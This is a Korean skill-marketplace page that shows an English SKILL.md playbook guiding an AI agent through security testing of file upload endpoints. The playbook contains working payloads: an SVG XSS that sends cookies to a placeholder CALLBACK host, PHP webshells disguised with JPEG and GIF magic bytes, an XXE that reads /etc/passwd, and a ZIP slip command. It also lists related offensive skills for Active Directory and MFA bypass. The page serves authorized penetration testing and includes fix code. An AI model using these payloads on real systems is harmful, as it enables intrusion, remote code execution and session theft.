본문으로 건너뛰기
cccskills
무료GitHub에 공개

insecure-file-upload

Use when testing file upload endpoints for unrestricted file upload, MIME type bypass, magic byte spoofing, polyglot files, SVG XSS, XXE via Office documents, ZIP slip, and path traversal in filenames. Trigger on: multipart/form-data endpoints, avatar/document upload flows, import-from-file features, profile image, CSV/Excel import, DOCX/XLSX parsing, image resizing pipelines, archive extraction, and any endpoint that stores or serves user-supplied files. Detects extension bypass (shell.php.jpg), null byte injection, double extension, ImageMagick exploits, and content-type confusion.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구Excel
설치 방법 보기

포함된 파일(1)

  • SKILL.md5.6 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Insecure File Upload

What Is Broken and Why

File upload endpoints that validate file type only by extension or Content-Type header allow attackers to upload executable files, XSS payloads, XXE-triggering documents, or path-traversal archives. Depending on where files are stored and served, impact ranges from stored XSS to full remote code execution.

Key Signals

  • multipart/form-data POST endpoints accepting user files
  • File extensions accepted beyond images/docs (or poorly validated)
  • Server echoes original filename in response or URL
  • Files served from same origin as application (not separate CDN/domain)
  • Archive extraction features (ZIP, tar)
  • Office document processing (DOCX, XLSX, PPTX — all ZIP+XML internally)
  • Image processing pipelines (ImageMagick, Pillow, libvips)

Methodology

  1. Upload a valid file; note the URL/path where it's stored and served.
  2. Check if files are served from same origin (XSS scope) or separate domain.
  3. Attempt extension bypass: shell.php.jpg, shell.php%00.jpg, shell.jpg.php.
  4. Modify Content-Type to image/jpeg while uploading a PHP/JSP file.
  5. Prepend valid magic bytes to malicious content; attempt upload.
  6. Test SVG upload — inject <svg onload="..."> for XSS.
  7. Test DOCX/XLSX upload with XXE payload inside XML.
  8. For archive extraction: craft ZIP with ../ paths (ZIP slip).
  9. Check if filename is reflected anywhere — test for path traversal and injection.

Payloads & Tools

# SVG XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://CALLBACK/?c='+document.cookie)"/>

# PHP webshell disguised as JPEG (magic bytes prepend)
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

# Null byte bypass (older systems)
filename: shell.php%00.jpg

# XXE in DOCX — inject into word/document.xml inside the archive
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

# ZIP slip
zip --symlinks traversal.zip ../../etc/passwd

# Polyglot GIF+PHP
GIF89a<?php system($_GET['cmd']); ?>

Magic bytes reference:

TypeHex
JPEGFF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A
GIF47 49 46 38
PDF25 50 44 46
ZIP/DOCX50 4B 03 04

Bypass Techniques

AttackTechnique
Extension bypassshell.php.jpg — server splits on first dot
Double extensionshell.jpg.php — server uses last extension
Null byteshell.php%00.jpg — older parsers truncate at null
MIME spoofContent-Type: image/jpeg on PHP file
Magic byte prependPrefix file with valid JPEG/GIF header bytes
PolyglotFile valid as both JPEG and PHP simultaneously
SVG with JSXML-based, browsers execute onload from same origin
XXE in OfficeDOCX/XLSX are ZIP+XML; inject DTD in contained XML
ZIP slipArchive paths containing ../ extract outside intended dir
Content-type sniffOmit Content-Type; let browser sniff — bypass nosniff-less servers

Exploitation Scenarios

Stored XSS via SVG: Setup → Application accepts SVG avatar uploads, serves them from same origin. Trigger → Upload SVG with <svg onload="fetch('https://CALLBACK/?c='+document.cookie)">. Impact → Any user viewing the avatar triggers XSS; session tokens exfiltrated.

RCE via PHP upload: Setup → PHP application accepts image uploads, validates only Content-Type header. Trigger → Upload shell.php with Content-Type: image/jpeg; access via direct URL. Impact → Remote command execution on server.

XXE via XLSX import: Setup → Application parses Excel files for data import. Trigger → Upload crafted XLSX with XXE payload in sheet XML referencing internal files. Impact → Server-side file read; possible SSRF to internal metadata endpoints.

False Positives

  • Upload endpoints that store files outside webroot and never serve them directly — RCE risk is mitigated, but XXE/ZIP slip may still apply.
  • Files renamed server-side to random UUIDs — original extension irrelevant for stored XSS but magic byte and content validation still matters.

Fix Patterns

# Validate magic bytes, not just extension
import magic
allowed_mimes = {'image/jpeg', 'image/png', 'image/gif'}
detected = magic.from_buffer(file.read(2048), mime=True)
if detected not in allowed_mimes:
    raise ValueError("Invalid file type")

# Always rename to UUID; never use original filename
import uuid, os
ext_map = {'image/jpeg': '.jpg', 'image/png': '.png'}
safe_name = str(uuid.uuid4()) + ext_map[detected]

Related Skills

XXE payloads embedded in DOCX/XLSX connect directly to [[xxe]]. SVG XSS from same-origin uploads is [[xss-stored]]. Path traversal in zip extraction is [[path-traversal]]. If the upload URL is fetched server-side, pivot to [[ssrf]].

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

ShulkwiSEC의 스킬 모두 보기

이 스킬의 문제 신고